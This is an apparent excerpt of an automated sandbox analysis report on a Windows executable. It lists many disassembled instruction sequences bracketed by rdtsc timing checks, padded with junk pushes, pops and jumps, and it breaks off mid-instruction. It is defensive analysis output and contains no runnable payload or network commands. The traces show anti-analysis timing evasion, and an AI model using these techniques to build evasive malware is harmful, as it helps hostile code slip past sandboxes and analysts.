Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 81A410 second address: 81A415 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 81A6BF second address: 81A6C4 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 81A6C4 second address: 81A731 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 pop edx 0x00000006 pop eax 0x00000007 mov dword ptr [esp], eax 0x0000000a push 00000000h 0x0000000c push ebp 0x0000000d call 00007F0160DBD2B8h 0x00000012 pop ebp 0x00000013 mov dword ptr [esp+04h], ebp 0x00000017 add dword ptr [esp+04h], 0000001Ah 0x0000001f inc ebp 0x00000020 push ebp 0x00000021 ret 0x00000022 pop ebp 0x00000023 ret 0x00000024 cmc 0x00000025 pushad 0x00000026 movsx ecx, cx 0x00000029 jmp 00007F0160DBD2BCh 0x0000002e popad 0x0000002f push dword ptr [ebp+122D24A3h] 0x00000035 or dword ptr [ebp+122D2826h], ebx 0x0000003b push 8C731989h 0x00000040 pushad 0x00000041 pushad 0x00000042 jp 00007F0160DBD2B6h 0x00000048 jmp 00007F0160DBD2C2h 0x0000004d popad 0x0000004e push ebx 0x0000004f push eax 0x00000050 push edx 0x00000051 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 81D56C second address: 81D574 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 81D574 second address: 81D589 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push esi 0x00000006 pushad 0x00000007 popad 0x00000008 jng 00007F0160DBD2B6h 0x0000000e pop esi 0x0000000f push eax 0x00000010 push edx 0x00000011 push ebx 0x00000012 pop ebx 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 81D589 second address: 81D58D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 81D11F second address: 81D123 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 81D123 second address: 81D14F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edi 0x00000008 pop edi 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jno 00007F0160DEF340h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E604D5 second address: 4E604F4 instructions: 0x00000000 rdtsc 0x00000002 mov bx, 6318h 0x00000006 pop edx 0x00000007 pop eax 0x00000008 popad 0x00000009 push eax 0x0000000a jmp 00007F0160DBD2BEh 0x0000000f xchg eax, ebp 0x00000010 push eax 0x00000011 push edx 0x00000012 push eax 0x00000013 push edx 0x00000014 pushad 0x00000015 popad 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E604F4 second address: 4E604FA instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E604FA second address: 4E6051E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0160DBD2C4h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov ebp, esp 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e mov dl, C0h 0x00000010 mov ax, 84B5h 0x00000014 popad 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E6051E second address: 4E60530 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F0160DEF32Eh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E60530 second address: 4E60534 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 743E2E second address: 743E45 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0160DEF32Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E60DEC second address: 4E60E3D instructions: 0x00000000 rdtsc 0x00000002 call 00007F0160DBD2C2h 0x00000007 pop esi 0x00000008 pop edx 0x00000009 pop eax 0x0000000a popad 0x0000000b push dword ptr [ebp+04h] 0x0000000e pushad 0x0000000f mov esi, edi 0x00000011 push eax 0x00000012 push edx 0x00000013 pushfd 0x00000014 jmp 00007F0160DBD2C9h 0x00000019 add si, 0B46h 0x0000001e jmp 00007F0160DBD2C1h 0x00000023 popfd 0x00000024 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E60E3D second address: 4E60E9A instructions: 0x00000000 rdtsc 0x00000002 pushfd 0x00000003 jmp 00007F0160DEF330h 0x00000008 adc esi, 4E6BC7E8h 0x0000000e jmp 00007F0160DEF32Bh 0x00000013 popfd 0x00000014 pop edx 0x00000015 pop eax 0x00000016 popad 0x00000017 push dword ptr [ebp+0Ch] 0x0000001a jmp 00007F0160DEF336h 0x0000001f push dword ptr [ebp+08h] 0x00000022 push eax 0x00000023 push edx 0x00000024 jmp 00007F0160DEF337h 0x00000029 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E801A1 second address: 4E801EC instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0160DBD2C6h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp], ebp 0x0000000c pushad 0x0000000d mov bx, ax 0x00000010 push ecx 0x00000011 mov bx, DB9Ch 0x00000015 pop edi 0x00000016 popad 0x00000017 mov ebp, esp 0x00000019 push eax 0x0000001a push edx 0x0000001b pushad 0x0000001c jmp 00007F0160DBD2BDh 0x00000021 jmp 00007F0160DBD2C0h 0x00000026 popad 0x00000027 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E801EC second address: 4E80229 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 mov esi, ebx 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push esi 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e pushfd 0x0000000f jmp 00007F0160DEF32Bh 0x00000014 sbb eax, 38B2572Eh 0x0000001a jmp 00007F0160DEF339h 0x0000001f popfd 0x00000020 mov bl, al 0x00000022 popad 0x00000023 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E80320 second address: 4E80324 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E80324 second address: 4E80328 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E80328 second address: 4E8032E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E8032E second address: 4E80334 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E80334 second address: 4E80338 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E80338 second address: 4E80349 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 nop 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c pushad 0x0000000d popad 0x0000000e push edi 0x0000000f pop eax 0x00000010 popad 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E8045F second address: 4E80463 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E80463 second address: 4E80469 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E80469 second address: 4E8046F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E8046F second address: 4E80473 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E80473 second address: 4E80477 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E80477 second address: 4E8049B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 xchg eax, ebp 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007F0160DEF339h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E8049B second address: 4E80534 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0160DBD2C1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a jmp 00007F0160DBD2C1h 0x0000000f xchg eax, ebp 0x00000010 jmp 00007F0160DBD2BEh 0x00000015 mov ebp, esp 0x00000017 jmp 00007F0160DBD2C0h 0x0000001c push 00000000h 0x0000001e pushad 0x0000001f mov bx, si 0x00000022 mov esi, 2CB346D9h 0x00000027 popad 0x00000028 push 00000000h 0x0000002a jmp 00007F0160DBD2C4h 0x0000002f push dword ptr [ebp+1Ch] 0x00000032 jmp 00007F0160DBD2C0h 0x00000037 push dword ptr [ebp+18h] 0x0000003a push eax 0x0000003b push edx 0x0000003c jmp 00007F0160DBD2C7h 0x00000041 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E80534 second address: 4E8056A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov cl, dh 0x00000005 push esi 0x00000006 pop edx 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push dword ptr [ebp+14h] 0x0000000d jmp 00007F0160DEF32Ah 0x00000012 push dword ptr [ebp+10h] 0x00000015 pushad 0x00000016 mov cl, CCh 0x00000018 mov bh, 78h 0x0000001a popad 0x0000001b push dword ptr [ebp+0Ch] 0x0000001e push eax 0x0000001f push edx 0x00000020 jmp 00007F0160DEF331h 0x00000025 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E805C3 second address: 4E805C9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E805C9 second address: 4E805CD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E805CD second address: 4E805D1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E60724 second address: 4E60728 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E60728 second address: 4E60743 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0160DBD2C7h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E60743 second address: 4E6076F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0160DEF339h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F0160DEF32Ch 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E6076F second address: 4E607D7 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0160DBD2BBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a pushad 0x0000000b call 00007F0160DBD2C4h 0x00000010 push ecx 0x00000011 pop ebx 0x00000012 pop eax 0x00000013 pushfd 0x00000014 jmp 00007F0160DBD2C7h 0x00000019 or eax, 352F3D4Eh 0x0000001f jmp 00007F0160DBD2C9h 0x00000024 popfd 0x00000025 popad 0x00000026 mov ebp, esp 0x00000028 pushad 0x00000029 push eax 0x0000002a push edx 0x0000002b push ecx 0x0000002c pop ebx 0x0000002d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E607D7 second address: 4E607E8 instructions: 0x00000000 rdtsc 0x00000002 mov edi, esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 mov cx, 3261h 0x0000000a popad 0x0000000b pop ebp 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E607E8 second address: 4E607EC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E607EC second address: 4E6080C instructions: 0x00000000 rdtsc 0x00000002 call 00007F0160DEF336h 0x00000007 pop esi 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c mov si, dx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E60830 second address: 4E60837 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov ecx, edi 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E60837 second address: 4E60869 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push 41A7BD88h 0x0000000c pushad 0x0000000d jmp 00007F0160DEF334h 0x00000012 movzx esi, di 0x00000015 popad 0x00000016 add dword ptr [esp], 333E5EA0h 0x0000001d push eax 0x0000001e push edx 0x0000001f pushad 0x00000020 pushad 0x00000021 popad 0x00000022 popad 0x00000023 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E60869 second address: 4E60884 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F0160DBD2C7h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E60884 second address: 4E60888 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E60888 second address: 4E608B6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 call 00007F01D0D50A18h 0x0000000d push 74DF27D0h 0x00000012 push dword ptr fs:[00000000h] 0x00000019 mov eax, dword ptr [esp+10h] 0x0000001d mov dword ptr [esp+10h], ebp 0x00000021 lea ebp, dword ptr [esp+10h] 0x00000025 sub esp, eax 0x00000027 push ebx 0x00000028 push esi 0x00000029 push edi 0x0000002a mov eax, dword ptr [74E80140h] 0x0000002f xor dword ptr [ebp-04h], eax 0x00000032 xor eax, ebp 0x00000034 push eax 0x00000035 mov dword ptr [ebp-18h], esp 0x00000038 push dword ptr [ebp-08h] 0x0000003b mov eax, dword ptr [ebp-04h] 0x0000003e mov dword ptr [ebp-04h], FFFFFFFEh 0x00000045 mov dword ptr [ebp-08h], eax 0x00000048 lea eax, dword ptr [ebp-10h] 0x0000004b mov dword ptr fs:[00000000h], eax 0x00000051 ret 0x00000052 push eax 0x00000053 push edx 0x00000054 pushad 0x00000055 mov bx, ax 0x00000058 pushfd 0x00000059 jmp 00007F0160DBD2BAh 0x0000005e and ch, FFFFFFA8h 0x00000061 jmp 00007F0160DBD2BBh 0x00000066 popfd 0x00000067 popad 0x00000068 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E608B6 second address: 4E608BC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E608BC second address: 4E608C0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E608C0 second address: 4E60922 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 and dword ptr [ebp-04h], 00000000h 0x0000000c jmp 00007F0160DEF337h 0x00000011 mov edx, dword ptr [ebp+0Ch] 0x00000014 pushad 0x00000015 push ecx 0x00000016 mov cx, bx 0x00000019 pop edi 0x0000001a mov edi, esi 0x0000001c popad 0x0000001d mov esi, edx 0x0000001f jmp 00007F0160DEF336h 0x00000024 mov al, byte ptr [edx] 0x00000026 push eax 0x00000027 push edx 0x00000028 jmp 00007F0160DEF337h 0x0000002d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E60922 second address: 4E60922 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F0160DBD2BFh 0x00000009 jmp 00007F0160DBD2C3h 0x0000000e popfd 0x0000000f mov ebx, eax 0x00000011 popad 0x00000012 pop edx 0x00000013 pop eax 0x00000014 inc edx 0x00000015 pushad 0x00000016 movzx esi, bx 0x00000019 pushad 0x0000001a push edx 0x0000001b pop esi 0x0000001c pushfd 0x0000001d jmp 00007F0160DBD2BFh 0x00000022 xor ecx, 6411911Eh 0x00000028 jmp 00007F0160DBD2C9h 0x0000002d popfd 0x0000002e popad 0x0000002f popad 0x00000030 test al, al 0x00000032 jmp 00007F0160DBD2BEh 0x00000037 jne 00007F0160DBD21Fh 0x0000003d mov al, byte ptr [edx] 0x0000003f push eax 0x00000040 push edx 0x00000041 jmp 00007F0160DBD2C7h 0x00000046 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E609AC second address: 4E609B0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E609B0 second address: 4E609B6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E609B6 second address: 4E609BC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E609BC second address: 4E609C0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E609C0 second address: 4E60A98 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0160DEF338h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b sub edx, esi 0x0000000d pushad 0x0000000e pushfd 0x0000000f jmp 00007F0160DEF337h 0x00000014 sbb eax, 395085EEh 0x0000001a jmp 00007F0160DEF339h 0x0000001f popfd 0x00000020 pushfd 0x00000021 jmp 00007F0160DEF330h 0x00000026 or ecx, 70F6E568h 0x0000002c jmp 00007F0160DEF32Bh 0x00000031 popfd 0x00000032 popad 0x00000033 mov edi, dword ptr [ebp+08h] 0x00000036 jmp 00007F0160DEF336h 0x0000003b dec edi 0x0000003c pushad 0x0000003d mov bx, si 0x00000040 pushad 0x00000041 pushfd 0x00000042 jmp 00007F0160DEF338h 0x00000047 xor ecx, 3E443A28h 0x0000004d jmp 00007F0160DEF32Bh 0x00000052 popfd 0x00000053 movzx ecx, bx 0x00000056 popad 0x00000057 popad 0x00000058 lea ebx, dword ptr [edi+01h] 0x0000005b push eax 0x0000005c push edx 0x0000005d pushad 0x0000005e mov edi, 4441DB6Eh 0x00000063 popad 0x00000064 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E60A98 second address: 4E60ADC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov edi, esi 0x00000005 movzx ecx, dx 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov al, byte ptr [edi+01h] 0x0000000e pushad 0x0000000f push edi 0x00000010 call 00007F0160DBD2C2h 0x00000015 pop esi 0x00000016 pop edx 0x00000017 mov bx, ax 0x0000001a popad 0x0000001b inc edi 0x0000001c push eax 0x0000001d push edx 0x0000001e jmp 00007F0160DBD2C9h 0x00000023 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E60ADC second address: 4E60AEC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F0160DEF32Ch 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E60AEC second address: 4E60AF0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E60AF0 second address: 4E60B0F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 test al, al 0x0000000a pushad 0x0000000b mov ah, bh 0x0000000d mov esi, 7A450345h 0x00000012 popad 0x00000013 jne 00007F01D0D772A2h 0x00000019 push eax 0x0000001a push edx 0x0000001b push eax 0x0000001c push edx 0x0000001d push eax 0x0000001e push edx 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E60B0F second address: 4E60B13 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E60B13 second address: 4E60B17 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E60B17 second address: 4E60B1D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E60B1D second address: 4E60B23 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E60B23 second address: 4E60B3F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0160DBD2BEh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov ecx, edx 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 push edx 0x00000011 pushad 0x00000012 popad 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E60B3F second address: 4E60B43 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E60B43 second address: 4E60B49 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E60B49 second address: 4E60B4F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E60B4F second address: 4E60B53 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E60B53 second address: 4E60B67 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 shr ecx, 02h 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e mov ax, bx 0x00000011 mov ecx, edx 0x00000013 popad 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E60B67 second address: 4E60B82 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 call 00007F0160DBD2BAh 0x00000008 pop esi 0x00000009 mov esi, edx 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e rep movsd 0x00000010 rep movsd 0x00000012 rep movsd 0x00000014 rep movsd 0x00000016 rep movsd 0x00000018 push eax 0x00000019 push edx 0x0000001a push eax 0x0000001b push edx 0x0000001c push eax 0x0000001d push edx 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E60B82 second address: 4E60B86 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E60B86 second address: 4E60B9C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0160DBD2C2h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E60B9C second address: 4E60BDF instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0160DEF32Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov ecx, edx 0x0000000b jmp 00007F0160DEF336h 0x00000010 and ecx, 03h 0x00000013 push eax 0x00000014 push edx 0x00000015 jmp 00007F0160DEF337h 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E60CFB second address: 4E60D36 instructions: 0x00000000 rdtsc 0x00000002 movzx ecx, dx 0x00000005 pop edx 0x00000006 pop eax 0x00000007 mov ax, dx 0x0000000a popad 0x0000000b pop ebx 0x0000000c jmp 00007F0160DBD2C7h 0x00000011 leave 0x00000012 push eax 0x00000013 push edx 0x00000014 jmp 00007F0160DBD2C5h 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E60D36 second address: 4E60830 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F0160DEF337h 0x00000009 xor esi, 071ACCDEh 0x0000000f jmp 00007F0160DEF339h 0x00000014 popfd 0x00000015 call 00007F0160DEF330h 0x0000001a pop esi 0x0000001b popad 0x0000001c pop edx 0x0000001d pop eax 0x0000001e retn 0008h 0x00000021 nop 0x00000022 lea ecx, dword ptr [ebp-20h] 0x00000025 call 00007F0160DED7CFh 0x0000002a push ebp 0x0000002b mov ebp, esp 0x0000002d push ecx 0x0000002e mov dword ptr [ebp-04h], ecx 0x00000031 mov ecx, dword ptr [ebp-04h] 0x00000034 call 00007F0160DEF916h 0x00000039 push ebp 0x0000003a mov ebp, esp 0x0000003c sub esp, 08h 0x0000003f mov dword ptr [ebp-04h], ecx 0x00000042 mov eax, dword ptr [ebp-04h] 0x00000045 cmp dword ptr [eax+14h], 10h 0x00000049 jc 00007F0160DEF32Ch 0x0000004b mov ecx, dword ptr [ebp-04h] 0x0000004e mov edx, dword ptr [ecx] 0x00000050 mov 